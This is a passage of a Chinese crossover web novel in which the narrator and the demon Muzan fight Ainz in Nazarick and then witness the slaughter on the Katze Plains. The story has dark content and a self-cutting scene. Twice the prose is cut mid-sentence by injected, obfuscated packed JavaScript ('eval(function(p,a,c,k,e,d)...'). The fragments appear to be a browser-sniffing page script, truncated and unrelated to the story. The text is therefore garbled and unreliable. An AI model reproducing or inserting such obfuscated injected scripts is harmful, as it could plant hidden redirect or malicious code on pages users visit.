无惨自然是不会在这种时候帮四谋士的,但他也发觉这话放在这里有些不合时宜。 “他那么努力扯出这个理由来,难不成真像你刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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或许现在可以回答他了,我想,他之前问过我的问题,他想从我这里看到的、我作为人类会有的丑陋心理,我会尝试回答他。 “这四个人和外面的其他黑工都可以说是运气不好吧,他们遇上了安兹·乌尔·恭,所以结局只有悲惨和更悲惨,你也看到这个骨头架子的力量了,对普通人类来说,果然就是‘天灾’吧。”我努力鼓起勇气直视他那双刻着竖线瞳孔的红眸,“人遇到‘天灾’,除了哀叹自己命不好,然后尝试尽可能从‘天灾’中存活下去,也没有别的办法了,你也是认同这一点的对吗?” “是,如果那些猎鬼人也能有你这样的心态,我能少很多麻烦,但你现在说这点总不能是希望我夸奖你懂事吧。” 我摇头,随后移开了视线不再看他的眼睛。 “鬼吃人是食物链决定的,就像异世界的魔物袭击人类也是天性决定,遇上了就是遇上了,没办法改变的结局就是没办法改变。看作品的过程中确实有为一些情节感动过,但我也想过,如果是我遇到你的话,也没什么方法反抗。”说到这里我忍不住轻轻笑出一声气音,“我又做不到那种‘主角’才能做到的事情,这样的事情也只能躺平接受啦。” 无惨瞥了一眼竞技场中央倒下的伊米娜和罗巴提库,安兹还在交代他们几人后续的处理方式,没来管我们这边。 他也没回答我的话,但看着应该是默许我接着往下说。 “虽然我也想过吧,如果是自己的家人被你杀了,我应该会恨你吧,毕竟那种事情也没什么人能接受。只不过再仔细想想,这好像和畜牧业发展起来之前人出去打猎差不多,也会杀死动物族群中重要的家庭成员;但是人打猎的时候有被熊啊老虎啊这些野兽反杀的可能性,所以鬼吃人也可能在某一天被人杀死,这样算下来,好像都差不多。” 其实到现在跟他讲了那么多话,我的脑子已经有些晕乎乎了,第一次对他说那么多——还是有些矫情的话——如果不能顺着直觉继续说完的话,我会直接社死到想钻进地里的。 “啊就是我之前在什么地方看过的啦,狩猎者要做好被狩猎的准备,吃的一方也随时可能成为被吃的对象,这是组成生态系统和食物链的关键法则,所以我只是觉得,作品的作者可能有自己的道德倾向,但我比较喜欢在这方面按自己的想法判断。” “那么所以呢,你想表达什么?”他也没有嘲弄我的意思,倒是也沉着脸听我讲到现在了。 我突然想到他是不是真的有那种听别人发表长篇大论的耐性和习惯,好像不止我一个人对他这么做过了,想到这里突然有些想笑。 啊啊对不起,现在不是笑的时候,所以我到底在说什么啊。 我双手十指相扣放在胸口,两个大拇指用力地相互摩擦着,抿唇心说自己接下来该说出最想表达的话了,再废话真的会在迎战安兹之前就被无惨打死的! “嗯就是……你问我的,为什么我会喜欢你……”终于还是说到这个话题了,尽管再羞耻,到这个时候也还是得好好说出来吧,“其实没有什么理由,喜欢就是喜欢,喜欢也不需要理由。啊,我现在想到了,其实也可能正因为我是观众,是置身事外的看客,所以能毫无负担地喜欢你吧,也能说出刚才那些应该是挺傲慢的发言的,但我觉得这样应该也没什么关系,只要你不讨厌我喜欢你这件事的话,其他的都无所谓了,反正我就是很差劲的观众嘛,会喜欢坏人的那种。” 他很久没有回话。 就在我以为他是否会冷漠地说点什么然后否定我的喜欢的时候,他开口了:“狗会乱叫吵闹,偶尔确实心烦,但说不上讨厌,毕竟大部分时候还是很会摇尾巴讨喜的。” 呜哇难道是在说我吗? 无惨愿意承认我是他的狗了吗嘿嘿…… “你不讨厌就好啦,我就可以继续喜欢你了……”我咬住下唇努力让自己的嘴角不要飞得太高,话说完并得到了他不讨厌的回复之后我心里如释重负,随后一种莫名的满足感填满了心头。 我偷偷抬眼看了看他,小声说了一句:“不过其实……就算你讨厌我我也还是会喜欢你的……但话虽这么说还是请不要讨厌我比较好……” 他脸上仅露出一瞬的满意消失不见了。 “你还是去死吧。” 14. 第 14 章 “商量结束了吗?” 不怒自威的声音打断了我和鬼舞辻无惨的对话,安兹重新捡起方才丢掉的弯刀和盾牌,摆出迎战的架势。 果然他还是想测试一下我们这边的战斗能力?或者说因为我和无惨没有踩他的雷,所以他想让我们“以战士的身份光荣地战死”? 若是后者的话实在有些难办,但毫无疑问的是想和安兹搞好些关系,确实需要用实战证明自己。 但愿钙质化能抗住他的攻击力量,两部作品之间的数值很难比较,只有尽全力将源石技艺发挥到极致。 “【不死者接触】的效果我也不太清楚,可能是触摸时随意施加一个负面状态,甚至是立即死亡。”我小声对无惨说了句,“他对低等级的物理伤害和魔法伤害免疫,但他并不是战士职业,所以我觉得能击落他的武器就可以和他谈谈了。” 我说完就从他身边跑开,试图吸引安兹的注意力。 论我和无惨的作战能力,应该他才是做主要输出的那个,那么就由我来扰乱敌人的行动。 “结束了的话,战斗就继续了!”随着进攻的宣言,身为法师却在尝试近战的安兹向这边攻来。 银白的钙物质覆盖上整个手臂,因为无法确定安兹所持的盾牌和弯刀究竟是什么材质,为了避免受伤,我还是选择将身体更多部位保护起来。 珐琅质的坚硬钙质化拳头锤向他的盾牌,没有留下太多损伤。缺少系统近身格斗训练带来的缺点便是我挥拳的动作幅度过大,难以兼顾挥出去后可能袭来的攻击,用游戏术语来讲就是后摇太大了。 安兹举起弯刀向下劈来,我回忆着《明日方舟》里的相关剧情,蹲下身在身边竖起一圈钙质防护层。 一些白色碎屑掉了下来,他的攻击确实能突破钙质化的防御,现在我确定了这一点。 我卸力撤下了钙质防护层,硬碰硬没有好结果,趁这个时候暂时先拉开距离。 几根黑色的荆棘从安兹身后卷出,绕着他形成一个包围网。 是无惨的血鬼术来着啊,用到黑血枳棘这个程度的话大概不仅是试探了,他应该能感觉到安兹的实力在什么程度,之后问问他对这个世界的等级有什么想法。 “这样就想困住我,天真!”安兹大喝一声,转身挥刀劈开血液织成的荆棘网。 我趁机后退离开了他的攻击范围,俯身屈膝压低重心,将双手手掌贴在地面上。 安兹·乌尔·恭免疫低等级的所有伤害以及大部分负面状态,普通的技能招式对他来说作用不大,那么必须拿出一个能博他眼球的招式。显然无惨那边的几招血鬼术已经让他感到新奇了,那么接下来我就提供一个辅助作用,让无惨的攻击能造成更多伤害。 纳萨力克第六层的布景是蓝色星球,拥有与外面如出一辙、甚至环境还要好上几分的景色,竞技场的地面倒只是普通的土石,如此一来施术不会受到太大阻碍。 银白色的法术扩散开,我的余光能瞥见自己身边有些细小的钙物质环绕着,在这片力场中的一切事物都慢了下来。 安兹能免疫大部分负面状态,但钙质化的减速众生平等。 大概是【钙质化】的效果本身也有恢复生命值,我也能感到自己体内的血液和细胞都处在活性状态,现在就算安兹用那把刀劈中我,短时间内我也应该不会死。 而这个技能的另一个最好用的效果,是可以让敌方受到的伤害增加。 我看向鬼舞辻无惨。 他的一只手臂化成长着复数眼睛的异形生物模样,张开带有獠牙的巨口咬向安兹,被减速的后者举盾的速度不及无惨的攻击速度,硬接了一招。 事实证明我的设想是没问题的,但是我忘了一件事。 如果一定要给无惨的攻击分类的话,他打出去的应该是物理伤害。 【钙质化】能增加的是法术伤害。 在我小小地沉浸在自己用【钙质化】拐了物伤的幽默行为中时,安兹放下了刀和盾牌,给自己点了几个强化状态的技能,使用【飞行】离开了减速效果的钙质化力场。 说实话正好我的技能时间也要到头了,算了算正好是《明日方舟》中专精等级三级后的30秒持续时间,这样我也稍微对这系统给的技能强度有了更多了解。为了不露出破绽,我装作自己是看见安兹离开才收起技能的样子,重新站直身子走回无惨身旁。 安兹抬起的骷髅手掌前浮现复杂的法阵,而他口中迅速吟唱出即将施展的魔法。 “【魔法最强化·万雷灭击】。” 喂喂喂不带这样的啊! 上来就用高阶魔法,是试探?还是他觉得不能轻敌之后决定全力应战? 巨大的雷柱从天而降,这一招是必中技能,除了正面抗下伤害没有办法。 在技能被吟唱出到攻击降下不到一秒,很难说这点时间里我的脑子做了怎样的思考,只是在看见无惨手臂上的异形生物延展开一面肉盾的瞬间,我下意识扶着他的肩膀踮脚将另一只手搭在他举起的手臂上。 肉盾迅速覆上一层银白,钙物质一边延伸一边加固形成不导电的硬质成分,这只是我当即判断下来能做到的最高防御。雷柱劈下来,倒是真的被这样一面护盾挡下了,只是表层的钙质防护还是被击落,下方的肉块也有些焦黑。 无惨随意地看了眼自己受伤的地方,并没有在意,修复后便收回了手部的变形。 “反应还不错。”他瞥了我一眼,继续盯住对面的安兹,不知道对方之后又会用出什么技能。 而安兹身边则发起光来,一圈圈更复杂诡谲的法阵绕着他的身体展开。 不妙的预感在心头敲响警钟。 不死者缓缓开口。 “你们的实力已经超过了这里的大部分人,而且使用的技能也是至今为止我未曾见过的,说实话,我很惊喜。”他的衣带缓缓飘动,周身的数个法阵旋转着,不需要他动嘴吟唱就能进行技能读取,“我会给你们一个机会,若是能接下这一招,就给你们活命的机会。” 啊,所以说就算当时我告诉他我们是对遗迹好奇的冒险者,他也没打算让我们活着离开啊。 真不愧是……不,若是在其他时候他或许还能网开一面,与黑工结伴一同来这里成为纳萨力克防御系统测试的一环,他当然不会觉得小白鼠太多了。 鬼舞辻无惨来回打量着安兹身边那些发着光的法阵,问我那是什么。 我带着淡淡的绝望告诉他,是超位魔法。 “【天空坠落】,超大范围的区域AOE伤害,正面接下的话……”我迟疑了一下,还是把最坏的结果告诉了他,“可能会直接被打成渣吧。” 无惨的弱点只有阳光,不被阳光晒到他就死不了,但我确实也不能确定超位魔法这个等级的破坏力下,他是否还能重新再生血肉。 “代价是吟唱需要花很长时间,虽然这个时候可以主动攻击他,但我不建议这么做。” 安兹看上去没有使用氪金道具缩短发动时间的打算,他大概是真的想看看我们如何准备化解这一招,普通的攻击不可能达到打断他吟唱的威力,而且如果一定要做到博得他的欣赏的话……必须接下来,超位魔法。 我想起来无惨刚才用手臂化出的肉盾,转头问他:“你那个,呃……就是用过的那个婴儿的形态,可以再用一次那个吗?” 被提到他厌恶的回忆时他明显皱了眉,但没有直接否定这个提议,只是说了句:“你想用来做什么?我事先提醒你,如果你想借此来躲避他的攻击,你自己会先死在里面。” 我倒是从来不知道他那个形态增殖出的肉团内部还有攻击性。 算了管不了那么多了,超位魔法的吟唱虽需要长时间,但也不够一直犹豫不决的。我打开系统商店抓了个技能石,看着无惨身上开始生长出来的肉块,心中选定了要使用的技能。 “你给我留条命能奶回去就行,其他的事情,交给它吧。” 我扫了一眼还在技能CD的安兹那边,法阵里的光芒隐隐地有扩大的趋势,应该是吟唱快要完成了。我把技能石攥在手心,向无惨伸出手,肉团顺着我的手臂一路增殖,一股吸力将我拉向他,等肉团在身后闭合,我只觉得身上四肢和内脏都要被挤爆了。 “告诉你一个……就是……”我努力减小呼吸幅度,让自己不至于受到更多挤压,“圣域之下……无法伤。” 手中的技能石微微发热,可惜胳膊挤在我身后,我没法看见那颗小石头具体怎么变化了。 温暖的力场以我的手掌为重心展开,连带着全身被挤压受到的疼痛都减轻了些,模糊的视线里满是蓝萤的光。 声音被隔绝在无惨这个形态的肉团外,只听见隐隐约约的轰鸣,下方的地面似乎在颤动,大概是超位魔法本体落下来了,希望这持续时间足足一分钟的【圣域】能抵抗那些法术伤害。 说起来我是不是该多给自己再买个锁血技能?虽然那样要花费的积分就有些太多了,但如果有锁血或者复活甲技能的话就不至于这么艰难了,虽然那种技能也没办法兼顾两个人…… 好了不要想了,现在我身上处于一个不断受到挤压伤害又不断在【圣域】的效果中得到治疗的状态,真的糟透了。 哈哈原来恐怖公的房间就是这个待遇,那我死也不要去那里。 压力减轻的时候我意识有些模糊地反应过来应该是无惨确认外界安全了,话说回来到他能确定安全而放松防御的时候,应该离对方的魔法技能结束又过去了一段时间了,那我真是多受了不少罪。 他将增殖出的肉团慢慢收回去,我从里面脱出摔在地上,胸腹腔内的疼痛和翻滚让我吐出一口血。运气好的是身上的伤赶着【圣域】的尾巴得到了治疗,就是还得缓一会才能站起来。 我究竟是怎么每次都把自己搞得那么狼狈的? “虽然稍微降低了技能的伤害,但能有这样的结果,还是非常出色的表现。”周围是被超位魔法轰至焦黑的土地,安兹·乌尔·恭矗立在对面,语气中带着欣喜,“现在来讲讲吧,你们来到纳萨力克的目的,大概并不是普通的冒险者吧。” 我对无惨招招手示意我来和那老骨头对话,随后爬起来眨眨眼让自己的表情看起来轻松一些。 我向前一步抬头看着那对空洞的眼窝中一点猩红的光,说:“说实话,在看见您刚才使用的技能之后,我大概确定了一些事情。我想首先请教一个问题,‘安兹·乌尔·恭’,真的是您的本名吗?” “哦?此话怎讲?” “我曾在一个朋友那里听说过一些……一些人,他们组成的组织——那个朋友说是叫公会——那个名字好像和这个很像。”我尝试编造一些朋友的故事,“所以我有些疑虑,安兹·乌尔·恭似乎是那个组织的名字,而非一个人的姓名。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“朋友确实和我讲过,他说那次事件之后广为流传的一个说法是遗迹内部经过禁忌改造,但他本人在那个时间恰好因家事退坑……不,应该说是隐退比较合适,他那会父母过世忙着处理后事,无暇顾及工作上的事务。” 我也是故意加重了退坑一词,好让自己表现得像一个穿越到异世界不确定谁也是穿越者的云玩家,现代流行语都是通用的,安兹会明白我在说什么。 他应该是完全解除了战斗状态,在准备说些什么的时候,夏提雅从竞技场外飞回来了,带着之前逃走的阿尔谢的尸体。 “安兹大人,属下已经完成了您的命令,”她将那个小姑娘的尸体放下,走向安兹的时候看了我一眼,“您现在是在决定对这两个入侵者的处理吗?那么如果可以的话,属下希望能得到那个孩子……” “不夏提雅,他们是纳萨力克的客人。”安兹淡淡地说了句,算是一锤定音,给刚才的对话收了尾,随后开始接收其他各层的战果信息。 啊,毕竟夏提雅原本应该是想将阿尔谢活捉回去当玩具来着……因为安兹“无痛之死”的命令她应该是没能达成心愿,所以在这里看到我了吗…… 还是不要去想了。 刚走开一些接收战果的安兹又走了回来,抬手指向鬼舞辻无惨:“说起来,你的这位同伴似乎和你不是一个种族的,他应该不是人类吧。” “啊,他是……”我回头看向无惨,他似乎并没有向对方详细介绍自己的打算,而在我犹豫着不知道该怎么描述的时候,安兹继续说了下去。 “我的属下汇报给我的战况中,有在外部遗迹的小白鼠里发现一个受伤能自动痊愈、无法被杀死的个体,他是否是你的手下?”他直接问了无惨。 外部遗迹的某个个体吗,那边是他用来测试一些装备了高等级装备的小怪的地方,那边的人在作品中都是被不死者小怪杀死的。 我想起来了,是无惨之前随手转化的那个鬼啊! 我对无惨笑笑,重新看向安兹也礼貌地笑着解释说:“他确实不是人类,外面的那个可以看作他的眷属吧,不过那个对他来说应该也没什么用了,如果您愿意,可以继续留作‘小白鼠’。” “他的种族我未曾见过,似乎有些类似吸血鬼真祖,但还是有差别,说实话我很好奇,因为似乎是更加稀有的物种,不过毕竟也已经答应下来了,虽然有些可惜……”短暂的低声自语后,安兹抬手致意道,“抱歉,忘记我刚才的话吧,我会按照承诺以客人的规格接待二位。” 他该不会……对着无惨犯收集癖了吧! 那种事情、那种事情不可以! 我拉上无惨的衣袖对安兹补充:“他是我在来到这里之前认识的,如果您想了解,之后我可以为您介绍,不过因为他是我的主人,而我也是有点占有欲的嘛,请您不要用太热烈的眼神看着他啦。” 我隐约听见了安兹小声的感慨,还有类似强制冷静的效果发动的声音。 果然对于内核拥有现代人认知的铃木悟来讲,我刚才的话有些超前了,不过这样应该就能让他不要再想着收藏稀有物种的事了。 “你居然真的这么说了啊。”等安兹走后,无惨从我手中抽回了自己的袖子。 “因为他有收集癖嘛,我确实有点担心他把你当作稀有种族纳入收藏了。”我挠挠脸颊看向旁边,“总不能告诉他是我召唤或者捕获了你吧,那样他更不相信的,虽然我也想那么说。” “呵,论做白日梦,我看你确实是挺擅长。” 15. 第 15 章 在纳萨力克的这段时间里,我做的事情很简单。 大部分时候,只是单纯地待在房间里。 黑工事件结束后,我和安兹、飞鼠、铃木悟——随便吧,反正怎么叫他都可以——我和他正式交流了双方的情报。说是交流,其实也就是我单方面地把自己和鬼舞辻无惨的一些事告诉了他。 经过删减和编造,我给他的版本是:我在现实世界遇到了无惨,之后又在一次意外事故中穿越来这个异世界。 “现实世界,为什么会有异种族生物?”或许是已经习惯了异世界的生态,他没有当即断言我在说谎,而是问了我关于无惨的来历。 我给他扯了个都市传说。 都市中频发的连环杀人案,因为尸体损毁严重且方式相同因此而关联确认是一人所为,尸体的损毁方式都是疑似遭到猛兽啃食,有不同程度残缺。若凶手是会吃人尸体的存在,那绝对是不符合常理的、超出人类的怪物。 “然后我遇到了他,发现他确实是都市传说里讲的那样,是个自称鬼的食人怪物。”我看了一眼鬼舞辻无惨,他似乎不太想听我的跑火车,“在被他追捕的时候,我不小心引爆了巷子里的垃圾堆——估计里面丢了什么化学物质吧……总之,爆炸之后,我醒过来发现自己在这个世界,而他也在我身边。” “你要是真的那么容易就死了就好了。”待我说完后,无惨在一旁补了一句。 “事实上在被他追杀的过程中我感觉到了,食欲也是一种爱欲吧,所以想要吃掉我的无惨大人一定是爱着我的。啊……想想都觉得好幸福啊。” 为了贴合我之前给安兹树立的某种人设,我故作夸张地说了一段,虽然我也不确定我在他印象中是什么人设。不过纳萨力克到底是不欢迎人类的,生理上的种族暂时无法改变,精神上让自己看起来异常一点也能让自己不至于面临太多敌意。 “我们来到这个世界之后还是稍微达成了一些友好关系的吧,战斗能力更强的他会尽可能保证我们两个的安全,而我可以为他做任何事。话说回来我们是不是已经约好了,等从异世界回去之后,我会乖乖做你的食物,当作整个旅程的报酬?” 好吧,他一点都不想配合我,完全转过头没看我。 但看起来这么做是对的,因为安兹听了我说的话眼中暗了暗,在他的认知中我和他还有不同,穿越进自己游戏账号的不死者之后,他身为人类的感情渐渐磨灭了,身边的NPC们也个个卧龙凤雏,说出什么话都不奇怪;但他现在的理解里我是肉身穿越的人类,表现出异常反应的时候他还是会惊讶一下。 这次似乎没听见强制冷静发动的声音,看来他也没那么吃惊了。 “原来如此,看来也可能有玩家以外的人穿越的情况,不过对象也是对YGGDRASIL有一定了解的人,这其中或许也有规律……”又一次短暂的自言自语之后,安兹抬头看向我们这边,“不过仍需要提前声明的是,纳萨力克并不是一个适合人类生活的地方,目前也没有发现回到现实世界的方法。当然,没有游戏技能与道具的你在外界也会遇到危险,你可以再次考虑后选择是否留在这里,毕竟,我也不会额外花费资源帮你寻找返回现实的方法。” 是啊,他当然不会。 毕竟这里才是他深爱的家。 我靠向无惨挽住他的手臂,对安兹说:“感谢您的帮助,我们只需要在这里停留一段时间就可以了,毕竟异世界探索也很有趣,之后会去别的地方再找找回去的方法的。” 在谈话的最后,我准备跟着女仆的指引去自己的房间时,安兹又问了我一个问题。 他问我,为何会想回到现实世界。 《OVERLORD》作品的背景是一个反乌托邦的社会,这一点我没忘记,父母双亡、工作辛苦的铃木悟在现实世界没有任何留恋,反而在游戏里才有他珍视的伙伴和NPC。 其实我和他说要回现实的时候根本没想那么多,我只是没告诉他我这边系统的事,快穿游戏在一个世界的故事结束后必定是会离开这个地方的,现在能给他最好的解释就是我和无惨只是暂住一段时间,之后会再次启程。 我估摸着这段任务应该会在与王国的战役之后结束,这样说来这次也没有任何明确的主线任务要求,不知道是不是主打一个沉浸式观影。 沉浸式……那场战役要我现场看的话好像有点难以招架。 “因为我是肉身穿越进来的人类吧,所以还是现实世界更有归属感。”我对他礼貌地笑笑,“被都市传说吃掉也不错,但比起异世界,我还是想死在现实。” 我给他跑的火车里总是真假掺半的,而这个理由倒也确实是真的。 至少这部作品的世界背景太危险又太压抑,看得出来对于这边随便抽一个都能和他打得五五开甚至压他一头的战力系统,鬼舞辻无惨也一直按捺着自己的不悦。 我不知道这个双排游戏里搭档死亡后另一方会怎么样,若是会被强制留在当前世界的话,那我也希望能给无惨找个他待着自在的地方,如果他哪天真的受不了我决定杀我灭口。 当然那种事情还是先不要发生比较好,我也想多活几天的。 安兹传达给了所有纳萨力克中的NPC要将我和鬼舞辻无惨当作客人的信息,但为了避免不必要的麻烦,我还是待在房间比较好。 无惨似乎对这座地下大坟墓中的迷宫机关有些兴趣,这几天一直在到处看,而异世界的魔药也是让他感到很新奇。他那天拿回来一红一蓝两瓶魔药,我凑过去看一眼,问他这不就是治疗药剂。 “你很了解啊,那你说说看这两瓶的区别。”他将两个瓶子推向我。 我点点蓝色药瓶的瓶盖说:“作品里讲过,蓝色的是这个世界的产物,因为炼药步骤不精密导致混入杂物,所以变成了蓝色。红色的是YGGDRASIL的游戏道具,YGGDRASIL的科技树高出异世界太多了。” “所以这瓶红色的效果会更好,因为纯度更高。”他将红色的治疗药剂拿回去来回端详药瓶,那瓶药剂就像大部分游戏对回血药品一样,设定成了血液般的红色,没见过的人大概真的会以为这是一瓶血。 我从桌旁拿过之前从黑工遗体上顺来的一把剑,比划着在自己小臂上划出一道口子。房间里瞬间弥漫开淡淡的血腥味,对血液气味更敏感的鬼舞辻无惨只是挑了挑眉。 利器划伤的疼痛过了几秒才反应到大脑,我的手指在神经反应下抽搐,我放下箭伸直正在流血的手臂,单手拧开桌上那瓶蓝色治疗药剂,喝了下去。喝之前我闻了闻味道,似乎没有什么特别的气味,整瓶灌入喉咙后身体里倒是感觉暖暖的,就像上次战斗用【圣域】给自己治疗时一样。 手臂上的抽痛转为刺痒,血肉愈合生长后留下一条淡淡的红痕。 “这种程度的伤口蓝色的药剂就足够了,不过你看到了,还是有点痕迹,需要过段时间才能完全恢复。”我边说着边找了张帕子将剑刃上的血珠擦掉,“红色的那个是可以修复躯干上更严重的伤,甚至不留瘢痕。理论上来说,这个对异种族应该也是有用的,所以你也能喝,不过你会需要这个吗?” “即便在这个世界,也只有学不会治疗自己的弱者才需要靠喝药来填补生命吧。”他似乎是看腻了红色药瓶,挥手将它抛给我,我向前小跳一步接住。 毕竟是免费获得的高级魔药,打碎了也挺浪费的,留着万一之后治疗技能跟不上的时候喝一下说不定还能逆风翻盘。 无惨见我将药瓶抱在怀中的样子,略有些鄙视地看着我,说:“那你收着吧,希望用到的时候治疗起效比你死得快。” “你就不能对我态度好点?”我尝试把药剂放进系统的道具储藏空间,成功了。 他耸肩笑了一声:“难道不是你自己说喜欢我想说什么说什么的?” “那你,偶尔也得奖励我一下。” 我知道这话挺炸裂的,因为无惨也被我一句话呛住,看向我的眼神中传达出某种一言难尽。好像该说点什么缓和一下气氛,但我的大脑也在爆破发言之后卡住,现在和他沉默对视着。 好在门外的敲门声打破了尴尬,纳萨力克量产女仆的声音传进来,说安兹大人请我们一起去卡兹平原“观赏”巴哈斯帝国对里·耶斯提杰王国的出征,他会借此机会亲自出手向这个世界的各方势力展示安兹·乌尔·恭的强大。 我应了之后扶着桌角有点不想出门,走出去几步的鬼舞辻无惨回过头来看向我,问我又怎么了。 作品文字与漫改后的画面从记忆深处提炼出来,那段剧情要现场看的话…… “没事,既然受到邀请了,那当然得去,虽然我确实有点不太想去。”我放开桌角跟上他,“就当是我作为人类的人性弱点吧,你看了就知道了,说不定你会喜欢呢。” 无惨对我提的那一嘴“他会喜欢”感到不解,但似乎仍然拉高了他的期待值,至少通过传送卷轴来到卡兹平原上的营帐里时,他的心情不错。 “那么,准备出去迎接我们的敌人吧。”安兹从座位上起身,为自己戴上掩盖不死者真容的面具和手套,向外走去。 广阔的卡兹平原上聚集着上万士兵,帝国与王国的阵地象征性地对峙着,他们只是每年例行公事地打一仗,然后保持着形式上的敌对,而今年安兹会替帝国出手,以屠杀的方式夺走十几万王国士兵的性命。 用那个碾压性的超位魔法…… 安兹身边又一次亮起层层法阵,同样的吟唱架势,对面的王国军无一人向他进攻。确认此处没有会趁魔法咏唱者技能CD时发动攻击的YGGDRASIL玩家后,他捏碎手中的氪金道具,结束了漫长的被动吟唱。 不知情的王国军将领指挥着士兵冲锋,而大片黑雾随着安兹的咏唱自帝国军这边扩散向整个平原。 “【献给黑暗丰壤母神的贡品】——” 我和鬼舞辻无惨站在安兹旁边,现在是白天,而他能安然无恙地在这,也是因为他用了那个临时克服阳光的道具。其实根本没有需要做的事情,只要看着这个恐怖的超位魔法将生命献祭,并换来生命。 黑雾扩散,覆盖住半个卡兹平原。冲锋的王国军在接触到黑雾的一瞬间便失魂般倒下,原本震耳欲聋的战吼声也在瞬间归于寂静,平原对面王国军的阵地中只有倒下的,上万具尸体。 “通过献祭生命的方式召唤黑山羊幼崽,这个魔法跟现实世界的克苏鲁文学相关,无论是黑山羊,还是魔法咒语中提到的那位‘黑暗丰壤母神’——莎布·尼古拉丝,都是克苏鲁文学的产物。莎布·尼古拉丝是一位外神,万物之母,孕育无数生命,黑山羊就是祂的幼崽。” 我不知道无惨对克系内容是否感兴趣,但我只是自顾自地小声和他说着这些。我转过了头不去看卡兹平原上的惨状,如果目光之内是自己喜欢的鬼舞辻无惨的话,或许我还能保持理智。 但这个方法只是一种缓兵之计,因为幼崽很快在献祭产生的黑球中诞生,庞大的形状怪异的四蹄生物发出绵羊的鸣叫,但它们身上无数长着嘴的囊肿和舞动的触枝无一不在宣告着它们是完全超出人类认知的生物。 当安兹表示不能浪费了这次召唤黑山羊的数量最高纪录,下令让幼崽向前冲锋的时候,平原上再也维持不住寂静的表象,剩下的王国军士兵惨叫着四散奔逃,但都被黑山羊碾碎在蹄下。 这是实力的断层差距带来的碾压,是身心都变成不死者的安兹·乌尔·恭对人类不再共情导致的结果。作品中的安兹在这里没有任何对屠戮行为的愧疚或是直接目睹死亡的不安,只有对魔法成果的期待和喜悦。 黑山羊的鸣叫回荡在卡兹平原上空,我听见身边帝国军的士兵里有细碎的呕吐声。这是正常的,因为我就是在逃避前方的事情,事实证明现场见到这段情节,真的会发自内心感到不适。 “不,我理解的,他已经不再有人类的身份认同,从更高级的种族视角出发,杀死人类符合自然法则,这种程度的力量是无 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我颇有些狼狈地看着他,无法反驳他的评价。 他确实,非常了解人性的弱点,毫不避讳地坦白说,就算很喜欢他,切身实际地每天被奚落被指出自己试图掩盖的心思,还是很受伤。 但他也没说错吧,我自认自己本就不是优秀高尚的人,无法反驳也自然是因为他说的没错。 这次是系统提示给我找了个台阶,说《OVERLORD》这边的世界线结束了。 【支线任务<减少人员伤亡>未完成,无法获得额外奖励。】 在固定的剧情任务100积分奖励后,系统额外弹出了一句话。 “所以是这样立场的系统啊……” 这条支线任务出来,我大概理解这个系统的任务要求偏好了。尽管确实没有设定每个世界需要做的事,只要走完剧情就行,但想获得额外奖励的支线,大概是要站在人这一边。 大部分的作品主角方就代表了人性与人理,安兹这边倒是个例外的,不过正好借这个机会知道了之后的作品世界都有什么能做的,多半是捞一些剧情杀角色和帮主角团胜利。 【请按方向索引前往后续任务。】 我轻叹口气,看着鬼舞辻无惨指了指从王国军那边乘着黑山羊回来的安兹,他刚刚去那边和王国的战士长完成了决斗,也如约停止了黑山羊的肆虐。 “我和他说几句话就可以走了。”我顿了顿,在安兹从黑山羊上下来之前追加一句,“你说的这些,我会认真想想的,之后我也会……我会接受你的建议。”其实他也没有建议过什么,他甚至都没怎么在系统任务这方面提出过反对意见,只是除了这个词我找不到更合适的描述了。 他肯定是厌恶守护正义啊道德那套的,我确实应该认真思考一下之后的事情了,是让他接受系统的立场偏向一起累死累活协助好人,还是随心所欲做自己想做的事。 安兹从黑山羊上下来,看上去心情不错,见我有话要说,便点头示意他在听。 “像我之前说过的那样,我们要准备踏上新的旅程,所以要离开纳萨力克了。”我想了想,最终决定喊出那个称呼,“也祝您之后一切顺利,铃木悟先生。” 不死者冰冷的目光紧紧盯住我,他命令身边的人都先回营帐,自己留下来单独继续这场对话:“你为什么会知道这个名字?不,这或许是合理的,毕竟你们确实是……” “您是已经猜到了吗?总之,我们也并非您原本生活的那个‘现实世界’的人,简单解释的话,我们是在无数个世界之间穿梭旅行,这次正好来到了这里。”我耸耸肩。 “啊,果然是类似的情况,我确实想到了……毕竟你们看上去也并没有那么像了解YGGDRASIL的人,却又能说出一些游戏信息,我想不到其他答案。”他抬手轻抚下巴,思索着打量着我们。 我向无惨那边靠一步:“那还是感谢您没有拆穿我们,我们就在这里分别吧。作为这段时间的感谢,我会告诉您一条您可以确信的情报:这个世界里没有能与您匹敌的对手,请放开手脚去做自己想做的事。” “哦?确实是一条有价值的情报,不过具体真伪我还是喜欢自己去判断。”他挥手甩动斗篷,准备离开,“那么告别的话就不再赘述,祝你们的旅途也顺利吧。” 系统给出的方向提示朝着卡兹平原的另一边去,要走到那里,应该必须跨过王国军的尸体堆。 真是有点坏了。 我向安兹的背影轻轻鞠躬,同为异世界穿越者,他对不同世界这个概念的理解和接受比想象中快上不少,也不再浪费时间说客套话,仅仅是将这样的形式当作了告别。 倒是正合我意,毕竟这样的旅行也不适合太深情的问候。 我也转过身,按这段时间的习惯,拉上鬼舞辻无惨的衣袖:“走吧,‘我的主人’——如果你不讨厌这套说辞的话,我觉得我们继续沿用下去也挺好的。” “那还是免了吧,没人喜欢没自知之明还又蠢又烦的东西。”他这次没有甩开我的手。 尽量不去看地上扭曲的尸体,我抬高脚踩在尸体间的空地上。系统的方向提示一直向前,穿过早已在撤退过程中弄得一片狼藉的王国军营帐,前方是更广袤的平原。 不知为何这次还要走那么久,这片平原应该会有不少魔兽,但我们到现在也没有遇到一只。 哦,要说麻烦的话,确实也是遇到了。 地上突兀地出现了一个炸弹。 炸弹的电子屏上正在倒数。 减少人员伤亡> 16. 第 16 章 诶,炸弹? 炸弹啊! 